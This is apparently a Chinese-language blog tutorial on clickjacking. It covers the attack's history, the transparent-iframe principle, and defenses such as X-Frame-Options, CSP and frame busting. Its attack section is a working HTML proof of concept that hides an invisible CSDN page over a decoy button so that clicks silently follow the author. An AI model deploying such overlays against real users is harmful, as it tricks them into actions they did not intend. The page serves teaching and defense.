网络安全-点击劫持(ClickJacking)的原理、攻击及防御

目录

简介

原理

攻击

防御

frame busting

X-Frame-Options

Content Security Policy

NoScript扩展

拓展

参考


简介

2008年,安全专家Robert Hansen 与Jeremiah Grossman发现了一种被他们称为点击劫持(ClickJacking)的攻击。他们准备在OWASP安全大会上公布并进行演示,但是由于很多平台都中了招,包括Adobe在内的厂商要求在漏洞修补前不要公开此问题。

原理

点击劫持是视觉欺骗,用户只看到了底层页面,与页面进行交互时却是与上层页面在交互。这是由于透明的iframe造成的,通过控制iframe的位置,导致上层页面的按钮等覆盖到下层上。

点击劫持,原理示意图

注:红色按钮(上层页面中的)应该是完全覆盖在黄色按钮(底层页面中的),由于看的不是很清楚,我稍微错位了一下。

攻击

<html>
<head>
<title>
来和鹿鸣Lumi互动吧!!!
</title>
<head>
<style>
iframe {width: 1440px;height: 900px;position: absolute;top: 30px;left: 450px;z-index: 2;-moz-opacity: 0;opacity: 0;filter: alpha(opacity=0);
}
</style>
</head>
</head>
<body>
<center>
<div>
<img src="https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=1242777858,3501957407&fm=11&gp=0.jpg" height="60%">
<br>
<button>点击进行互动</button>
</div>
</center>
<iframe src="https://blog.csdn.net/lady_killer9" scrolling="no"></iframe></body>
</html>

opacity为0.5,即上层页面为半透明状态。

opacity为0.5时

可以看到关注按钮覆盖在了下方的点击进行互动按钮上。

opacity为0时

 此时,上层页面完全无法看见,这时如果你登录csdn后点击"点击进行互动"按钮,就会关注我。

防御

frame busting

js编写的,防御效果不好,可绕过。

X-Frame-Options

部分浏览器支持

DENY:禁止iframe,浏览器拒绝当前页面加载任何iframe页面。
SAMEORIGIN:只允许相同域名下的网页iframe,同源政策保护。
ALLOW-FROM: 白名单限制。

Content Security Policy

"网页安全政策"(Content Security Policy,缩写 CSP),一种白名单制度。

NoScript扩展

火狐官方回答

拓展

除了这种点击劫持,还有拖拽劫持,手机端触屏劫持,原理都一样。

参考

《白帽子讲Web安全》

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

本文链接:https://my.lmcjl.com/post/12477.html

展开阅读全文

4 评论

留下您的评论.